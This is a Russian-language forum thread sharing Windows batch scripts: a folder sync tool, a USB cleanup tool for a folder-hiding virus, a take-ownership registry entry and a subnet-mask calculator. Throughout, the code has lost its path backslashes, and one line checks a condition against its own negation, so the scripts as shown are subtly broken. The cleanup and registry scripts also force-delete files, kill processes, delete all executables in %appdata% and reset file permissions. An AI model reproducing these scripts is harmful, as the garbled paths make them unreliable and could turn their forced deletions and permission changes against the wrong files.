Готовые bat файлы для windows 7

Полезные BAT/CMD скрипты CMD/BAT Решение и ответ на вопрос 671391

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

1

15.10.2012, 00:56. Показов 562880. Ответов 179

Метки acl, antihidden, cabinet archive, cacls, drive serial number, folder permissions, not responding, regsvr32, sfc /scannow, takeown, полезные bat/cmd скрипты (Все метки)


В этой теме выкладываем скрипты, которые часто используются Вами
или на Ваш взгляд могут иметь большое практическое значение.

Также приветствуются скрипты высокой степени сложности, полезные с точки зрения
изучения принципа их работы.

Правила темы:

  • При выкладывании скрипта постарайтесь тщательно описывать принцип его работы и по-больше комментировать строки Вашего кода.
  • Код, состоящий из > 4 строк, помещайте под теги [SPOILER=»Развернуть код…»]Ваш код[/SPOILER]. Также можно сделать 2 варианта: 1. Чистый код. 2. С комментариями.
  • Запрещаются любые обсуждения выложенных здесь работ;
  • если в этом есть необходимость, создайте отдельную тему в которой опишите замечание или проблему при работе с данным скриптом, указав ссылку на сообщение из этой темы (правый клик по слову «Permalink» вверху каждого сообщения).
  • Если Вы хотите внести исправление в выложенный Вами код — пишите мне в личку ссылку на Ваше старое сообщение и новый исправленный вариант. (полный вариант с тегами Вашего старого сообщения можно получить, нажав на него — кнопка «Цитата»).
  • Допускается размещение обзора программ, помогающих редактировать/отлаживать код.

Схожая тема: BAT/CMD файлы
Смежная тема: Полезные VBS скрипты и программы по работе с ними
Ссылка на набор полезных скриптов (предыдущая шапка от bombus) BAT/CMD файлы

*******************

Перечень полезных скриптов: *******************

Архивация и резервное копирование
Создание CAB-архивов ссылка

Безопасность
Удаление последствий вируса (фейковые папки на флешке) ALINK
Стать владельцем папки/файла, получить полные права (пункт контекстного меню (Reg-файл) ALINK
Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only) ссылка

Дата, время
Конвертация даты/времени из/в UNIX-формат(в секундах после 1-янв-1970 00:00:00) ссылка

Интерфейс
Крутящаяся палка (имитация) ссылка
Вызов GUI диалогового окна выбора папки ссылка
Разноцветный вывод в консоли. ссылка Цветная роза. ссылка
Диалоговое меню выбора файла ссылка

Компиляция
Помощник компиляции исходных кодов С# (.cs) через консольный NET.FrameWork компилятор ссылка

Операционная система
Восстановление шрифтов после сбоя ссылка
Пищалка (сигнал встроенного динамика, подобие Beep) ссылка
Регистрация всех библиотек DLL и OCX ссылка
Проверка целостности системных файлов утилитой sfc /scannow с выводом лога и автоопределением месторасположения диска ссылка

Сеть
Подсчёт маски подсети на основании двух крайних значений диапазона. ALINK
Пакетное получение информации о IP-адресах и построение HTML-отчёта. ALINK
GetIP/GetMAC/Get default gateway ссылка

Процессы
Завершение процесса (с листингом и выбором через меню) ссылка
Многопроцессное создание пустых файлов (бенчмарк для винчестера) ссылка
Отслеживание зависшего процесса и его перезапуск с указанным приоритетом ссылка
Process Change Monitor (мониторинг и протоколирование изменений в списке запущенных процессов) ссылка

Текстовые операции, кодировка
Вывод текста без переноса на новую строку ALINK
Перекодировка CP OEM-866 <-> WIN-1251 — 1) CMD 2) VBA 3) ASM (exe+src) ссылка
Помощь по всем командам вашей версии Windows / DOS ссылка
Транслитерация файлов, в именах которых есть кириллица

(файловые операции) ссылка
Преобразование текстового файла в кодировку Unicode (файловые операции) ссылка
Перекодировщик Reversed Hex в символьную строку ссылка

Файловые операции, разделы
Взаимное копирование содержимого 2 папок друг в друга ALINK
Прогресс-бар копирования файлов ссылка
Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку. ссылка
Создание нуль-копии папки для выкладывания на форуме ссылка
Получение серийного номера всех съемных устройств и физических жестких дисков (не разделов). Получение имен разделов физических накопителей (кроме оптических). ссылка

Другое
Расчёт индекса массы тела и идеального веса ссылка



21



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

15.10.2012, 00:57

 [ТС]

2

Взаимное копирование содержимого 2 папок друг в друга

Критерий копирования при совпадении имен файлов: последняя дата модификации.

Использование:
Сохранить в файл Мое_Название_файла.CMD
Скопировать файл в папку № 1.
Перетянуть папку № 2 на этот сценарий.

Примечание: скрипт использует Robocopy.exe из пакета Windows Resource Kit (является родной для Windows 7)

Развернуть код …

Windows Batch file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@echo off
setlocal enabledelayedexpansion
set "cat=%~dp0"
set "cat=!cat:~0,-1!"
color 9E
echo                    by Alex Drago.kas
echo.
echo.
echo Реверсивная синхронизация файлов/папок.
echo.
echo Вам нужно объеденить содержимое двух папок так,
echo чтобы взаимозаменить новые файлы по дате модификации,
echo а также добавить новые?
echo.
echo.
:: 1. Поместите сценарий в папку № 1
:: 2. Опустите папку № 2 на этот сценарий.
if (%1)==() goto :noCat
echo.
echo Будут взаимообъединены файлы и папки в каталогах:
echo 1. !cat!
echo 2. %1
echo.
pause
robocopy "!cat!" "%1" /s /fft
robocopy "%1" "!cat!" /s /fft
echo.
echo Объединение завершено.
echo.
pause
goto :eof
 
:noCat
echo Не задана папка № 2 ...
echo ---------------------------------
echo 1. Поместите сценарий в папку № 1
echo 2. Опустите папку № 2 на этот сценарий.
echo.
pause

Вложения

Тип файла: zip Dual_Synhro.zip (586 байт, 602 просмотров)



3



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

15.10.2012, 02:41

 [ТС]

3

Удаление последствий вируса (поддельные «фейковые» папки на флешке)
19.11.2012 — Критическое обновление (запускать скрипт «от имени Администратора» теперь безопасно).
Автор: Dragokas

Использование:
Скопировать в корень съемного диска (USB Flash Drive).
Запустить.

Показания к применению:
Ваша флешка побывала на компьютере с вирусом, скрывающим папки, а вместо них — теперь ярлыки.
Вы хотите, чтобы на флешке физически нельзя было создать autorun.inf, который дает команду на запуск паразитов.

Функционал v.1.5.:
1. Удаление файлов с расширением *.lnk (ярлыки), соответствующих именам папок.
1.1. Удаление других *.lnk с запросом подтверждения от пользователя.
2. Снятие атрибутов «скрытый», «системный» с папок в корне флешки.
3. Удаление файла автозапуска «autorun.inf».
4. Создание папки «autorun.inf» (контр-мера против дальнейшей возможности создавать файл autorun.inf)

Папка содержит в свою очередь 3 неудаляемые штатными способами подпапки, создаваемые разными алгоритмами.
(папка с 2 точками на конце, папка с именем системного устройства и папка с измененными ACL-правами доступа).

5. Удаление всех файлов с расширением *.exe в корне папки C:UsersПользовательAppDataRoaming (%appdata%) — это безопасно.
6. Завершение процесса Host.exe. Поиск и удаление рекурсивно всех файлов Host.exe (все действия с подтверждением от пользователя).
7. Удаление модифицированных системных папок «recycled» и «System Volume Information» без подтверждения.
(удаление папки корзины Windows («recycler») на оперируемом томе происходит с подтверждением).
8. Удаление дополнительных обычно вирусных файлов (System, Game.cpl) в режиме подтверждения.

Тонкости:
Учитываются особенности работы с именами, где используются буквы украинского алфавита и др. спецсимволы.
Если удаление не происходит с первого раза предпринимается попытка получить права на объект и сменить владельца.
Если и это не получается сделать, производится попытка удалить папку/файл в обход ограничений API-функций Windows на имена.

Основные изменения в update 1.5. (от 16.11.2012)
Исправлены ошибки с кавычками и др. недочеты.
Скрипт спрашивает разрешения и ничего лишнего точно не удалит.
Более быстрая работа.
Добавлена визуализация и %-ый прогрессбар.

Обсуждение скрипта ведется здесь (и последняя версия скрипта тоже): AntiHidden — Удаление последствий вируса (поддельные «фейковые» папки на флешке)

FAQ

Как удалить созданную программой папку Autorun.inf
— Не скажу А вообще проще отформатировать флешку

Программа работает слишком долго:
— Вероятно много папок/файлов или за Вами очень внимательно следит антивирус

Зачем удалять программы в корне папки %appdata% ?
— Некоторые вирусы, скрывающие папки, хранят свое тело в папке %appdata%
Другие пользовательские или системные программы в корне этой папки никогда не хранятся.

Листинг исходного кода v.1.5.1. ua:

В коде версии 1.5. использованы спецсимволы BackSpace, поэтому при прямом копировании кода Ваш батник работать не будет, как задумано.
(скачивайте через прикрепленный файл).

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
@echo off
Setlocal EnableDelayedExpansion EnableExtensions
mode con: cols=82 lines=30
title Anti Hidden Fast - Видалення наслiдкiв вiрусної дiяльностi ver.1.5.1
color 1a
echo                                        Maded by Alex Drago.kas -=2012=-
echo   Anti Hidden Fast v.1.5.1                     -= Зроблено в Українi :)
echo.
echo   Етап 1. Вiдновлення властивостей корневих папок.
echo.
echo   Будуть встановленi такi параметри:
echo   - не "Прихований"
echo   - не "Системний"
echo   + стати власником
echo   + надати повнi права
echo.
echo   Для прискорення операцiї можна тимчасово вимкнути антивiрусне ПЗ.
 
Call :StrOne "  Працюю з папкою:  "
<nul set /p text=%%
Call :StrOne " " new
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
::Оценка количества папок для прогресс-бара, запись первой порции папок в массив (Hidden)
chcp 1251>nul
for /f "delims=" %%i in ('dir "%Cur%" /b /a:dh 2^>nul') do (set /a folders+=1& Set F.!folders!=%Cur%%%i)
 
chcp 866>nul
for /L %%A in (1,1,%folders%) do (
  set /a Progress=100*%%A/%folders%
  Call :StrOne "!Progress! - !F.%%A!"
  Call :RecovFolder "!F.%%A!"
)
 
chcp 1251>nul
for /f "delims=" %%i in ('dir "%Cur%" /b /a:ds 2^>nul') do (
   Call :StrOne "*** - %%i"
   Call :RecovFolder "%Cur%%%i"
)
chcp 866>nul
Call :StrOne "100 - завершено.                                                                "
echo.
 
echo   Етап 2. Видалення зайвих ярликiв.
::chcp 1251>nul
::Удаление только ярлыков, имена которых соответствуют именам папок
for /f "delims=" %%i in ('dir "%Cur%" /b /a:d') do if exist "%Cur%%%i.lnk" (
  call :killfile "%Cur%%%i.lnk"
)
chcp 866>nul
 
echo   Етап 3. Блокування стороннiх активних процесiв та видалення їх джерела.
if exist %appdata%*.exe (
  for /f "delims=" %%i in ('dir %appdata%*.exe /b /a') do taskkill /im "%%i" /t /f
  call :killfile "%appdata%*.exe"
)
 
echo   Етап 4. Видалення файлу автозапуску.
if not exist "%Cur%autorun.inf" if exist "%Cur%autorun.inf" call :killfile "%Cur%autorun.inf"
 
echo   Етап 5. Видалення модифiкованих системних папок i чужорiдних файлiв.
for %%a in ("recycled" "System Volume Information") do (
  if exist "%Cur%%%~a" Call :KillFolder "%Cur%%%~a")
) 1>nul 2>&1
if exist "%Cur%recycler" (
  echo   Знайдено папку Recycler. Продовжити видалення корзини Windows для тому %~d0 ? 
  Set /p RecycleRemove="Натиснiть "Y" та кнопку {ENTER} "
  Echo.!RecycleRemove!|>nul find /i "y"&&Call :KillFolder "%Cur%recycler"
)
 
for %%b in (game.cpl system *.lnk) do for /F "delims=" %%a in ('2^>nul dir "%Cur%%%b" /b /a:-d') do (
  echo.
  echo Знайдено пiдозрiлий файл - %%a. 
  echo Для видалення натиснiть "Y" та кнопку {ENTER}
  (takeown /f "%Cur%%%a"&echo y|cacls "%Cur%%%a" /g %username%:f) 1>nul 2>&1
  del /f /p /A "%Cur%%%a"
)
 
echo.
color 1b
echo   Етап 5.1. Пошук i видалення файлiв host.exe. Будь ласка, чекайте...
tasklist |1>nul 2>&1 FindStr /B /L /I /C:host.exe&&(
  Echo   В системi запущено пiдозрiлий процес Host.exe
  Set /p HostClose="  Завершити його? - натиснiть Y та {ENTER}"
  Echo.!HostClose!|>nul find /i "y"&&taskkill /im "host.exe" /t /f
)
(for /f "tokens=*" %%a in ('Dir /b /s /a:-d "%Cur%host.exe"') Do (
  if not Defined HostAgree (
    Echo   Всi файли з iм'ям Host.exe будуть видаленi з носiя %~dp0% рекурсивно.
    Set /p HostAgree="Щоб продовжити натиснiть Y та {ENTER}"
    Echo.!HostAgree!|>nul find /i "y"||Goto :ExtHostSeek
  )
  Call :KillFile "%%a"
)) 2>nul
:ExtHostSeek
 
color 1a
echo   Етап 6. Створення захисного файлу автозапуску, що не видаляється
echo           штатними засобами.
if not exist "%Cur%autorun.inf" mkdir "%Cur%autorun.inf" 1>nul 2>&1
if not exist "%Cur%autorun.infDragokas.." mkdir "%Cur%autorun.infDragokas.." 1>nul 2>&1
if not exist "%Cur%autorun.infcom1" mkdir "\?%Cur%autorun.infcom1" 1>nul 2>&1
if not exist "%Cur%autorun.infdefence" (
  mkdir "%Cur%autorun.infdefence" 1>nul 2>&1
  echo y|1>nul 2>&1 cacls "%Cur%autorun.infdefence" /d Все
  echo y|1>nul 2>&1 cacls "%Cur%autorun.infdefence" /d All
)
 
echo.
echo Процедуру проведено. Програму буде закрито.
ping -n 3 localhost 1>nul 2>&1
color
goto :eof
 
:RecovFolder
attrib -s -h "%~1" 1>nul 2>&1
attrib "%~1"|>nul FindStr /BIR "....H.."
if %errorlevel%==0 (
    Call :GrantAccess "%~1"
    attrib -s -h "%~1" 1>nul 2>&1
  ) else (
  attrib "%~1"|>nul FindStr /BIR "...S..."&&(
    Call :GrantAccess "%~1"
    attrib -s -h "%~1" 1>nul 2>&1
    )
)
exit /b
 
:GrantAccess
takeown /f "%~1" /r /d y 1>nul 2>&1
echo y|cacls "%~1" /g %username%:f 1>nul 2>&1
exit /b
 
:KillFile
attrib -s -h "%~1" 1>nul 2>&1
del /F /Q "%~1" 1>nul 2>&1
if exist "%~1" (
  takeown /f "%~1"
  echo y|cacls "%~1" /g %username%:f
  del /F /Q /A "%~1"
) 1>nul 2>&1
if exist "%~1" (
  del /F /Q /A "\?%~1"
) 1>nul 2>&1
exit /b
 
:KillFolder
attrib -s -h "%~1" 1>nul 2>&1
rd /S /Q "%~1" 1>nul 2>&1
if exist "%~1" (
  takeown /f "%~1" /r /d y
  echo y|cacls "%~1" /g %username%:f
  rd /S /Q "%~1"
) 1>nul 2>&1
if exist "%~1" (
  rd /S /Q "\?%~1"
) 1>nul 2>&1
exit /b
 
:StrLen
::Вычисляет длину переменной.
::Результат записывается в переменную LastLen
set strString=%~1
set /a LastLen = 0
::Максимальная длина переменной = 1024 символа
for /l %%i in (0,1,1024) do (
  set strTempString=!strString:~%%i,1!
  if "!strTempString!" neq "" (
    set /a LastLen+=1
  )
)
exit /b 0
 
:StrOne
::%1 - строка, которую отображаем
::%2 - параметры:
::new - печатать рядом
::vblf - печатать с новой строки
::если опущен, то заменять предыдущий текст.
if "%2"=="new" (set /a conWidth-=%LastLen%& call :StrWrite "%~1" New& exit /b 0)
if "%2"=="crlf" (call :GetConsoleWidth& echo.&call :StrWrite "%~1" New& exit /b 0)
::если предыдущего текста не было, просто печатаем текст и записываем его длину
if not defined LastLen (call :GetConsoleWidth& call :StrWrite "%~1" New& exit /b 0)
::Переменная с БекСпейсами
Set BS=
::Набиваем нужным количеством БекСпейсов
for /l %%i in (1,1,%LastLen%) do (Set BS=!BS!)
::Возвращаем каретку назад
<nul set /p text=%BS%
Set /a LenBefore=%LastLen%
::Печатаем текст поверх старого
Call :StrWrite "%~1" Fill
::Если новый текст короче старого, нужно затереть оставшиеся символы
if %LenBefore% GTR %LastLen% (
  set Space=
  set /a n=%LenBefore%-%LastLen%
  rem Набиваем Space слева пробелами, а справа возратом каретки
  rem Нужно ее ведь затем вернуть в пред. позицию
  for /l %%i in (1,1,!n!) do (Set Space= !Space!)
  rem Знак подчеркивания + BackSpace здесь я использую для обхода ограничения
  rem т.к. иначе, если в начале строки мы захотим напечатать пробел - это не получится сделать
  rem Команда (<nul set /p text= Текст) выведет "Текст" без пробела!
  (<nul set /p text=_!Space!)
)
exit /b 0
 
:StrWrite
::Вычисляем длину напечатанной строки
Call :StrLen "%~1"
::Определяем поместится ли по ширине консоли
Set Text=%~1
if %LastLen% GTR %conWidth% (
  call set Text=!Text:~0,%conWidth%!
  set /a LastLen=%conWidth%
)
::Печатаем текст на той же строке
<nul set /p text=_%Text%
::Обнуляем переменную длины предыдущей строки
if "%2"=="New" set /a LenBefore=0
exit /b 0
 
:GetConsoleWidth
::Получение ширины консоли
For /F "skip=4 tokens=1,2" %%v In ('mode con') Do (
  Set /A conWidth=%%w-4
  Exit /B
)

Add. Перевод на русский v.1.4.:

Листинг (с переводом).

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
@echo off
title Anti Hidden Fast - Удаление следов вирусной деятельности ver.1.4
color 1a
echo                                        Maded by Alex Drago.kas -=2012=-
echo   Anti Hidden Fast v.1.4                       -= Сделано в Украине :)
echo.
echo   Этап 1. Возобновление свойств корневых папок.
echo.
echo   Будут установлены такие параметры:
echo   - не "Скрытый"
echo   - не "Системный"
echo   + стать собственником
echo   + предоставить полные права
echo.
echo   Для ускорения операции можно временно отключить антивирусное ПО.
chcp 1251>nul
for /f "delims=" %%i in ('dir /b /a:d') do (
for /f "delims={;}" %%s in ('attrib "%%i"') do (call :oper "%%s" "%%i")
)
chcp 866>nul
echo.
echo   Этап 2. Удаление лишних ярлыков.
 
chcp 1251>nul
for /f "delims=" %%i in ('dir /b /a:d') do if exist %%i.lnk call :killfile %%i.lnk
chcp 866>nul
 
echo   Этап 3. Блокирование сторонних активных процессов и удаление их источника.
if exist %appdata%*.exe (
for /f "delims=" %%i in ('dir %appdata%*.exe /b /a') do taskkill /im "%%i" /t /f
call :killfile %appdata%*.exe
)
 
echo   Этап 4. Удаление файла автозапуска.
if not exist autorun.inf if exist autorun.inf call :killfile autorun.inf
::echo.
echo   Этап 5. Удаление модифицированных системных папок и инородных файлов.
for %%a in ("recycled" "recycler" "System Volume Information") do (
if exist %%a (takeown /f %%a /r /d y&echo y|cacls %%a /g %username%:f&attrib -s -h %%a&rd /s /q %%a)
) 1>nul 2>&1
for %%a in (game.cpl system) do (if exist %%a (
echo.
echo Найдено подозрительный файл - %%a. 
echo Для удаления нажмите "Y" и кнопку {ENTER}
(takeown /f %%a&echo y|cacls %%a /g %username%:f&&attrib -s -h %%a) 1>nul 2>&1
del /f /p %%a
))
echo.
color 1b
::echo   Этап 5.1. Поиск и удаление файлов host.exe. Пожалуйста, подождите...
tasklist |1>nul 2>&1 FindStr /B /L /I /C:host.exe&&taskkill /im "host.exe" /t /f
(for /f "tokens=*" %%a in ('Dir /b /s /a:-d host.exe') Do (
attrib -s -h "%%a" 1>nul 2>&1
del /f /q "%%a" 1>nul 2>&1
)) 2>nul
 
color 1a
echo   Этап 6. Создание защитного файла автозапуска, который не удаляется
echo           штатными средствами.
if not exist autorun.inf mkdir autorun.inf 1>nul 2>&1
if not exist autorun.infdefence.. mkdir autorun.infdefence.. 1>nul 2>&1
if not exist autorun.infcom1 mkdir "\?%~d0autorun.infcom1" 1>nul 2>&1
if not exist autorun.inf123 (
mkdir autorun.inf123 1>nul 2>&1
echo y|1>nul 2>&1 cacls "123" /d Все
echo y|1>nul 2>&1 cacls "123" /d All
)
echo.
echo Процедура проведена. Программа будет закрыта.
ping -n 3 localhost 1>nul 2>&1
color 07
goto :eof
 
:oper
echo %1|>nul FindStr /BIR ".....H."&&attrib -s -h %2 1>nul 2>&1
echo %1|>nul FindStr /BIR ".....H."&&(
takeown /f %2 /r /d y 1>nul 2>&1
echo y|>nul cacls %2 /g %username%:f
attrib -s -h %2 1>nul 2>&1
)
exit /b
 
:killfile
(attrib -s -h %1
del /F /Q %1||(takeown /f %1&echo y|cacls %1 /g %username%:f&&attrib -s -h %1&&del /F /Q %1)
) 1>nul 2>&1

Вложения

Тип файла: rar Anti_Hidden_fast_ua_v.1.5.1.rar (3.1 Кб, 1206 просмотров)
Тип файла: rar Anti_Hidden_fast_ru_v.1.5.1.rar (3.0 Кб, 2191 просмотров)



8



Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

15.10.2012, 02:44

 [ТС]

4

Стать владельцем папки/файла, получить полные права (пункт контекстного меню)

Скрипт представляет из себе ключик реестра.
Установка:
Сохранить код в файл с расширением .REG
Запустить Reg-ключ и подтвердить импорт в реестр.

Использование:
Правый клик по нужному файлу/папке, выбрать «Стать владельцем и задать полный доступ к объекту».

Предназначение:
Назначает Вас владельцем указанной папки (файла).
«Сбрасывает» его/ее ACL-таблицу.

Показания к применению:
При попытке файловой операции над файлом/папкой появляется сообщение «У Вас недостаточно прав для выполнения данной операции». Бывает, когда копируете данные с другого компьютера.
Прим.: данное средство не позволяет переназначить права, если требуемый файл находится вне целевого компьютера (в локальной сети).

Ключик Nizaury Reg-Key Листинг:

Код

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT*shellrunas]
@="Стать владельцем и задать полный доступ к объекту"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT*shellrunascommand]
@="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F"
"IsolatedCommand"="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F"

[HKEY_CLASSES_ROOTDirectoryshellrunas]
@="Стать владельцем и задать полный доступ к объекту"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOTDirectoryshellrunascommand]
@="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t"

Автор: Nizaury

Смежный скрипт: Смена владельца и прав на папку и ее содержимое, в которой запущен батник



13



Anonymоus

612 / 92 / 14

Регистрация: 15.08.2012

Сообщений: 62

15.10.2012, 05:16

5

Подсчёт маски подсети на основании двух крайних значений диапазона.

Синтаксис — netmask.cmd <начало диапазона> <конец диапазона>
Вызов из другого скрипта — см. комментарии.

Развернуть код …

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
@Echo Off
:: Subnet mask from IP range
:: Inquisitor, 2012
:: Distributed under GNU GPL v2 license
:: [url]http://www.gnu.org/licenses/gpl-2.0.html[/url]
SetLocal EnableDelayedExpansion
Set NetworkHostBoundary=false
Set NetMask=
 
:: Если вызывается не из консоли, а из другого батника,
:: вызывать нужно из цикла for для корректной работы
:: Пример:
rem For /F %%A In ('netmask.cmd 192.168.1.0 192.168.8.255') Do Echo %%A
 
:: Проверка на запуск с аргументами
:: Если без аргументов - пример использования и выход
If "%*"=="" (Echo USAGE: %~nx0 192.168.1.0 192.168.3.255&GoTo :EOF)
 
:: Разбор входящих аргументов, cравнение начального и конечного
:: адресов по октетам
For /F "tokens=1-8 delims=. " %%A In ("%*") Do (
    Call :Mask %%A %%E
    Call :Mask %%B %%F
    Call :Mask %%C %%G
    Call :Mask %%D %%H
)
:: Вывод в stdout результата и выход, раскомментировать нужное
:: Вывод _БЕЗ_ перевода строки
<Nul Set /P Echo=!NetMask!
:: Вывод _С_ переводом строки
rem Echo !NetMask!
GoTo :EOF
 
 
:DEC2BIN
:: Функция перевода числа из десятеричной системы в двоичную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
:d2b_loop
:: Проверяем, есть ли остаток от деления
Set /A x1=Data/2
Set /A x2=x1*2
If "%x2%"=="%Data%" (Set Mod=0) Else (Set Mod=1)
:: Устанавливаем в качестве входных данных результат деления
Set Data=%x1%
:: Пишем результат поразрядно, в обратном порядке
Set Result=%Mod%%Result%
:: Следующая итерация или выход после окончания
If Not "%x1%"=="0" GoTo d2b_loop
:: Перед выходом - дополнение ведущими нулями до двух в восьмой
:: Требуется для корректного сравнения двух чисел без сдвига
Call :LeadingZero %Result%
GoTo :EOF
 
:BIN2DEC
:: Функция перевода числа из двоичной системы в десятеричную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
:: Значение -1 для начала значения счетчика с нуля
Set i=-1
Set Data=%1
:b2d_loop
:: Получаем текущий разряд числа
Set /A i+=1
Set x1=%Data:~-1%
:: Используем бинарный сдвиг для получения степени двойки
Set /A x2="x1 * (1 << i)"
:: Добавляем к результату
Set /A Result+=%x2%
:: Следующая итерация или выход после окончания
If Not "%Data:~,-1%"=="" (Set Data=%Data:~,-1%&GoTo b2d_loop)
GoTo :EOF
 
:LeadingZero
:: Дополнение ведушими нулями до двух в восьмой (один байт)
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
For /L %%A In (1,1,8) Do (
    If Not "!Data!"=="" (
        Set Result=!Data:~-1!!Result!
        Set Data=!Data:~,-1!
    ) Else (
        Set Result=0!Result!
    )
) 
GoTo :EOF
 
:FastCompare
:: Быстрое сравнение, если найдены различия - вызывается функция
:: более детального сравнения для поиска самого различия
:: Принимает два аргумента, результат возвращается в %Result%
If Not !NetworkHostBoundary!==true (
    If "%1"=="%2" (
        Set Result=11111111
        GoTo :EOF
    ) Else (
        Call :Compare %1 %2
    )
) Else (
    Set Result=00000000
)
GoTo :EOF
 
:Compare
:: Сравнение двух однобайтных чисел поразрядно, локализация начала различий
:: и забивание всего после первого различия нулями
:: Принимает два аргумента, результат возвращается в %Result%
:: Ведущие нули у обоих чисел обязательны
Set x1=%1&Set x2=%2
Set Result=
For /L %%A In (1,1,8) Do (
:: Получение ведущего разряда от каждого из чисел
    Set n1=!x1:~,1!
    Set n2=!x2:~,1!
:: Сравнение двух чисел и инвертирование бита
    Set /A Data="1 ^ (n1 ^ n2)"
:: Установка флага начала различия
    If !Data!==0 Set NetworkHostBoundary=true
:: Обнуление всех последующих после различия разрядов
    If !NetworkHostBoundary!==true Set Data=0
:: Поразрядная запись результата
    Set Result=!Result!!Data!
:: Устанавливаем остаток в качестве входных данных для следующей итерации
    Set x1=!x1:~1!
    Set x2=!x2:~1!
)
GoTo :EOF
 
:Mask
:: Генерация одного октета маски
:: Принимает два аргумента, результат дописывается к %NetMask%
Call :DEC2BIN %1&&Set From=!Result!
Call :DEC2BIN %2&&Set To=!Result!
Call :FastCompare !From! !To!
Call :BIN2DEC !Result!
If "!NetMask!"=="" (Set NetMask=!Result!) Else (Set NetMask=!NetMask!.!Result!)
GoTo :EOF

UPD. 26.04.13
Изменения: переписан вывод помощи и добавлен ключ для вывода маски в формате CIDR.

Использование:
netmask <начальный IP диапазона> <конечный IP диапазона>
netmask <начальный IP диапазона> <конечный IP диапазона> cidr

Примеры:

Bash
1
2
netmask 195.189.120.0 195.189.123.255 = 255.255.252.0
netmask 195.189.120.0 195.189.123.255 CIDR = /22

Развернуть код …

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
@Echo Off
:: # 
:: # Subnet mask from IP range v2.1
:: # Inquisitor, 2012-2013
:: # Distributed under GNU GPL v2 license
:: # [url]http://www.gnu.org/licenses/gpl-2.0.html[/url]
:: # 
:: # USAGE: NetMask.cmd first_ip_from_range last_ip_from_range
:: #        or, for display in CIDR format
:: #        NetMask.cmd first_ip_from_range last_ip_from_range cidr
:: # 
SetLocal EnableDelayedExpansion
Set NetworkHostBoundary=false
Set NetMask=
 
:: Если вызывается не из консоли, а из другого батника,
:: вызывать нужно из цикла for для корректной работы
:: Пример:
rem For /F %%A In ('netmask.cmd 192.168.1.0 192.168.8.255') Do Echo %%A
 
:: Проверка на запуск с аргументами
:: Если без аргументов - пример использования и выход
If "%*"=="" (
    For /F "tokens=1,* delims=#" %%A In ('FindStr /R /B "::.#" "%~dpnx0"') Do (
        Echo.%%B
    )
    GoTo :EOF
)
 
:: Разбор входящих аргументов, cравнение начального и конечного
:: адресов по октетам
For /F "tokens=1-9 delims=. " %%A In ("%*") Do (
    Call :Mask %%A %%E
    Call :Mask %%B %%F
    Call :Mask %%C %%G
    Call :Mask %%D %%H
    If /I "%%I"=="CIDR" Call :CIDR
)
